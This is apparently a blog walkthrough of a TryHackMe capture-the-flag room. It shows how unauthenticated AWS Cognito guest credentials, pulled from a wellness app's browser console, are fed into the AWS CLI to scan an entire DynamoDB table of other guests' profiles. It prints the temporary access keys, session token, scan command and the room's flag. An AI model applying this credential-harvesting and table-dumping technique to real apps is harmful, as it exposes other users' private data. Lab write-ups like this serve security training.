Post cover image

August 2, 2026

Complimentary (THM) Tryhackme Walkthrough Hacker Holidays Day 3

Description : Install the free app and it hands your phone a set of cloud keys, the same set it hands everyone. They’re read-only, but…

By Lawvye

4 min read

Description : Install the free app and it hands your phone a set of cloud keys, the same set it hands everyone. They're read-only, but read-only of every guest's contacts, location, and passwords, not just Lambo's. She gave consent. Technically.

Difficulty : Easy

Note : All of the content and images are from https://tryhackme.com/

Room : https://tryhackme.com/room/hh-complimentary-05e0b604

Enjoy.

Task 1 Hacker Holidays : Day 3

Points : 60

Category : ☁️ Cloud

Difficulty : Easy

🛎️ Concierge Briefing

Lambo installed the Byte Lotus Wellness app the day she arrived — it was free, it had great reviews (written by the app, but she didn't check), and it got her a tote bag for saying yes to camera, mic, contacts, and location access. No account needed. No login screen. It just… knows things about you the moment you open it.

That's the whole pitch: "complimentary" access, no friction, no sign-up. Something still has to be deciding what you're allowed to see, even without a login — and whatever that something is, it isn't checking very carefully.

Your objective: find out how the app knows anything about you at all, and see what else it's willing to hand over.

🗝️ ROOM ACCESS

Target

http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

🏖️ TODAY'S ITINERARY

Track down theAWSmechanism issuing you credentials behind the scenes.

Use those credentials to dump more than your own record from the app's DynamoDB table.

Retrieve the flag from another guest's data.

📸 @0xMia's STORY

@0xMia· posted 40 min after room unlock

"okay wait, the wellness app never once asked me to log in and it STILL knew my name when I opened it 💀 something has to be quietly handing it access behind the scenes… if you find whatever that something is, don't just check what it gives YOU. ask it for more 👀"

CloudAWSCognitoIAM Misconfiguration

Answer the questions below

Q1.) What is the flag?

Web Preview :

None 
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title>Byte Lotus Wellness</title>
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <style>
    body { font-family: -apple-system, Helvetica, Arial, sans-serif; max-width: 520px; margin: 60px auto; padding: 0 20px; color: #1c1c1c; }
    h1 { font-weight: 600; }
    .card { border: 1px solid #e6e2da; border-radius: 12px; padding: 20px; margin-top: 24px; }
    .pill { display: inline-block; background: #f3ead9; color: #7a5c2e; border-radius: 999px; padding: 4px 12px; font-size: 13px; }
    #dashboard { white-space: pre-wrap; font-family: monospace; font-size: 13px; color: #444; }
  </style>
</head>
<body>
  <span class="pill">Byte Lotus Wellness</span>
  <h1>Your free wellness dashboard</h1>
  <p>No account needed — we set you up as a guest the moment you arrived.</p>

  <div class="card">
    <div id="dashboard">Loading your dashboard&hellip;</div>
  </div>

  <script src="https://sdk.amazonaws.com/js/aws-sdk-2.1500.0.min.js"></script>
  <script src="app.js"></script>
</body>
</html>

app.js :

// Byte Lotus Wellness — guest dashboard
//
// No login screen on purpose: every visitor gets "free" AWS guest
// credentials from our Cognito Identity Pool so we can save wellness
// preferences without the friction of an account.

const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

AWS.config.region = AWS_REGION;
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
  IdentityPoolId: IDENTITY_POOL_ID,
});

function guestId() {
  let id = localStorage.getItem("byteLotusGuestId");
  if (!id) {
    // First visit: hand out a throwaway guest id, same as checking in.
    id = "guest-" + Math.random().toString(36).slice(2, 10);
    localStorage.setItem("byteLotusGuestId", id);
  }
  return id;
}

function renderDashboard(item) {
  const el = document.getElementById("dashboard");
  if (!item) {
    el.textContent = "Welcome! We don't have wellness data for you yet — check back after your first spa visit.";
    return;
  }
  el.textContent = [
    "Name: " + (item.name ? item.name.S : "—"),
    "Loyalty notes: " + (item.notes ? item.notes.S : "—"),
  ].join("\n");
}

AWS.config.credentials.get(function (err) {
  if (err) {
    console.error("Could not fetch guest credentials:", err);
    return;
  }

  const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
  dynamodb.getItem(
    {
      TableName: TABLE_NAME,
      Key: { guest_id: { S: guestId() } },
    },
    function (err, data) {
      if (err) {
        console.error("Could not load dashboard:", err);
        return;
      }
      renderDashboard(data.Item);
    }
  );
});

The Credential Key :

const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

Local Storage Value :

None

Go to Console :

None 
AWS.config.credentials

constructor {expired: false, expireTime: Sun Aug 02 2026 20:02:11 GMT+0700 (Waktu Indonesia Barat), refreshCallbacks: Array(0), accessKeyId: 'ASIAU2VYTBGYLSFGVPQQ', sessionToken: 'IQoJb3JpZ2luX2VjEBQaCXVzLWVhc3QtMSJIMEYCIQCidFincn…ecL2h0C9r1BipVThp/SXmiXJoFy3LPpMG6tdchy1yAXUmLYnx', …}

now we got :

const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

accessKeyId: 'ASIAU2VYTBGYLSFGVPQQ'
sessionToken: "IQoJb3JpZ2luX2VjEBQaCXVzLWVhc3QtMSJIMEYCIQCidFincnnj67YraFGjqvQ0udoMbxzE/8dmRY5m9UFmigIhAOPLv/zT9d13kTADEu/yvO4sBfGTwFe+WzsYLmBZwleTKrcFCN3//////////wEQABoMMzMyMTczMzQ3MjQ4IgzHrviaw1PsErXPqKcqiwWn2maZy/Xy9xOjLmzgqlhTpeVXbNgFR2u07gSKKJupBnYABib+axjW6iGsDh4zNTo7ENgoGeSBl/8uqshfiifAryhtOHL3B8l4EkevXHPq/i7WDZ+YHqeCREpxHW77mu01RuUBlhjnx5uxPnT4hrw2WGNeV283MkKXUq3ed3+Ep05yDJlxLLfz9ptv0WQz2FJe/81Di1+qxPwKJYw9HPH/YGDOJD7dlcKOeGteWOnu+MrmNjjAcZBRgudfE7tH+Rbk5oz5Pt1tz+ueYPwtrQEq7yhcj2oL/PH8i4Encz6LkjnSmGUJtrXQDLg8Zf1hW1K5g/8BnS258fTjJmU5pZnRRhJ19oPVX61x8V4oCVapx2EiZTPZfvRo0F0XHO8VeyN2siWymqxIk/XK7zKpyw8dAnZ+C3x3QUWgWq69l85gyQPErgPknAvBMMbJas08uOPyS7sYsbqVcn58thteFDFtFw69SUkCpMR/s9SIRnI/UARldzvakj1Kvm7+SaD2OTNjrb/OptzcOWqMbVNtcONjwP0MlTB9nQwkiupZvfBk9oruzyYYtAbAxjbms4b0FCccI4ZvXzkuJJxnOmshZNlG1ThJ9JagJBhA6YNYkIAIDNmpsslkZneVIuHo2K6GXiilZ4xP2dmfkawPh+s9m3jGvdGy9NnsFz7w80jjUuX2BcVQwYOpquQ40hL+9bPtRoh3u9hbMZSzIXZTUgvYRYE7Dp2N1g8egSNd+WE/tUfe/rSdt2Avh5WKh+TOPH7u4kM8lR0r9bOQMKU1IOi1uNNTUqszZOgsYl3hkNll1zpb9DVI/LnlChIfv0zBxNENAEJQ32kNbenhWMhkZIZ2EHu/9BJ8DP2hIxOpP5Qww+O80wY63QJvku1nvyAFy2OU2jTXmQqpLcgb9MyREfDBtcG4ywcMmP/gMy5InnWizlJGlg0S3MDbArBpYG8diXp9a0R1UOLbY4Le3jjXCIlOVUfGaTijA04bJ5GRMUJRkMd1ELnBplCe5FZ8nzAv/fAhIGGzxt7T/2uGVGzHyja0682Kn1iBGrC/LfkmTlUGx5D7xzhQxLwoRP9+vdLn8RN9A01KFN+Tn7aVJZzrPXLJQSz4MpPxtP6pjMlOlp6Z4NdjEbNRrGBGwkSWpT/tSZSI1J/CHyP6OGo9REa6uld1uCH7aXRtD+zR6G+b3ZORCpdbcRrJuGgEtcOYqnK9gcFXiicMUmASrPiICxFfznUj0n7fNTQqebdQHrrhW+rN6ONS8uY5L0s44Gvis2HFGAX04ciB/GvWqDLe4I1LWL4ecL2h0C9r1BipVThp/SXmiXJoFy3LPpMG6tdchy1yAXUmLYnx"
secretAccessKey: "MnJXt9/41k4bqu2lWwLoeEIxTEYumg3Co8kQR8Up"
endpoint: constructor {protocol: 'https:', host: 'sts.amazonaws.com', port: 443, hostname: 'sts.amazonaws.com', pathname: '/', …}

now set up and install aws on your command prompt :

sudo apt install aws
aws configure
AWS Access Key ID [*****] : ASIAU2VYTBGYLSFGVPQQ
AWS Secret Access Key [*****] : MnJXt9/41k4bqu2lWwLoeEIxTEYumg3Co8kQR8Up
AWS Session Token [*****] : IQoJb3JpZ2luX2VjEBQaCXVzLWVhc3QtMSJIMEYCIQCidFincnnj67YraFGjqvQ0udoMbxzE/8dmRY5m9UFmigIhAOPLv/zT9d13kTADEu/yvO4sBfGTwFe+WzsYLmBZwleTKrcFCN3//////////wEQABoMMzMyMTczMzQ3MjQ4IgzHrviaw1PsErXPqKcqiwWn2maZy/Xy9xOjLmzgqlhTpeVXbNgFR2u07gSKKJupBnYABib+axjW6iGsDh4zNTo7ENgoGeSBl/8uqshfiifAryhtOHL3B8l4EkevXHPq/i7WDZ+YHqeCREpxHW77mu01RuUBlhjnx5uxPnT4hrw2WGNeV283MkKXUq3ed3+Ep05yDJlxLLfz9ptv0WQz2FJe/81Di1+qxPwKJYw9HPH/YGDOJD7dlcKOeGteWOnu+MrmNjjAcZBRgudfE7tH+Rbk5oz5Pt1tz+ueYPwtrQEq7yhcj2oL/PH8i4Encz6LkjnSmGUJtrXQDLg8Zf1hW1K5g/8BnS258fTjJmU5pZnRRhJ19oPVX61x8V4oCVapx2EiZTPZfvRo0F0XHO8VeyN2siWymqxIk/XK7zKpyw8dAnZ+C3x3QUWgWq69l85gyQPErgPknAvBMMbJas08uOPyS7sYsbqVcn58thteFDFtFw69SUkCpMR/s9SIRnI/UARldzvakj1Kvm7+SaD2OTNjrb/OptzcOWqMbVNtcONjwP0MlTB9nQwkiupZvfBk9oruzyYYtAbAxjbms4b0FCccI4ZvXzkuJJxnOmshZNlG1ThJ9JagJBhA6YNYkIAIDNmpsslkZneVIuHo2K6GXiilZ4xP2dmfkawPh+s9m3jGvdGy9NnsFz7w80jjUuX2BcVQwYOpquQ40hL+9bPtRoh3u9hbMZSzIXZTUgvYRYE7Dp2N1g8egSNd+WE/tUfe/rSdt2Avh5WKh+TOPH7u4kM8lR0r9bOQMKU1IOi1uNNTUqszZOgsYl3hkNll1zpb9DVI/LnlChIfv0zBxNENAEJQ32kNbenhWMhkZIZ2EHu/9BJ8DP2hIxOpP5Qww+O80wY63QJvku1nvyAFy2OU2jTXmQqpLcgb9MyREfDBtcG4ywcMmP/gMy5InnWizlJGlg0S3MDbArBpYG8diXp9a0R1UOLbY4Le3jjXCIlOVUfGaTijA04bJ5GRMUJRkMd1ELnBplCe5FZ8nzAv/fAhIGGzxt7T/2uGVGzHyja0682Kn1iBGrC/LfkmTlUGx5D7xzhQxLwoRP9+vdLn8RN9A01KFN+Tn7aVJZzrPXLJQSz4MpPxtP6pjMlOlp6Z4NdjEbNRrGBGwkSWpT/tSZSI1J/CHyP6OGo9REa6uld1uCH7aXRtD+zR6G+b3ZORCpdbcRrJuGgEtcOYqnK9gcFXiicMUmASrPiICxFfznUj0n7fNTQqebdQHrrhW+rN6ONS8uY5L0s44Gvis2HFGAX04ciB/GvWqDLe4I1LWL4ecL2h0C9r1BipVThp/SXmiXJoFy3LPpMG6tdchy1yAXUmLYnx

Default region name [us-east-1] : us-east-1
Default output format [None] :

Last step :

aws dynamodb scan --table-name complimentary-GuestWellnessProfiles
"notes" : {
    "S" : "If you're reading this, the wellness app's guest role can read every
profile, not just its own. THM{fr33_app_fr33_d4t4!}"

Answer : THM{fr33_app_fr33_d4t4!}

None None None

I hope you enjoyed reading this post as much as I enjoyed writing it. Thanks for reading my blog sir ;) Lawvye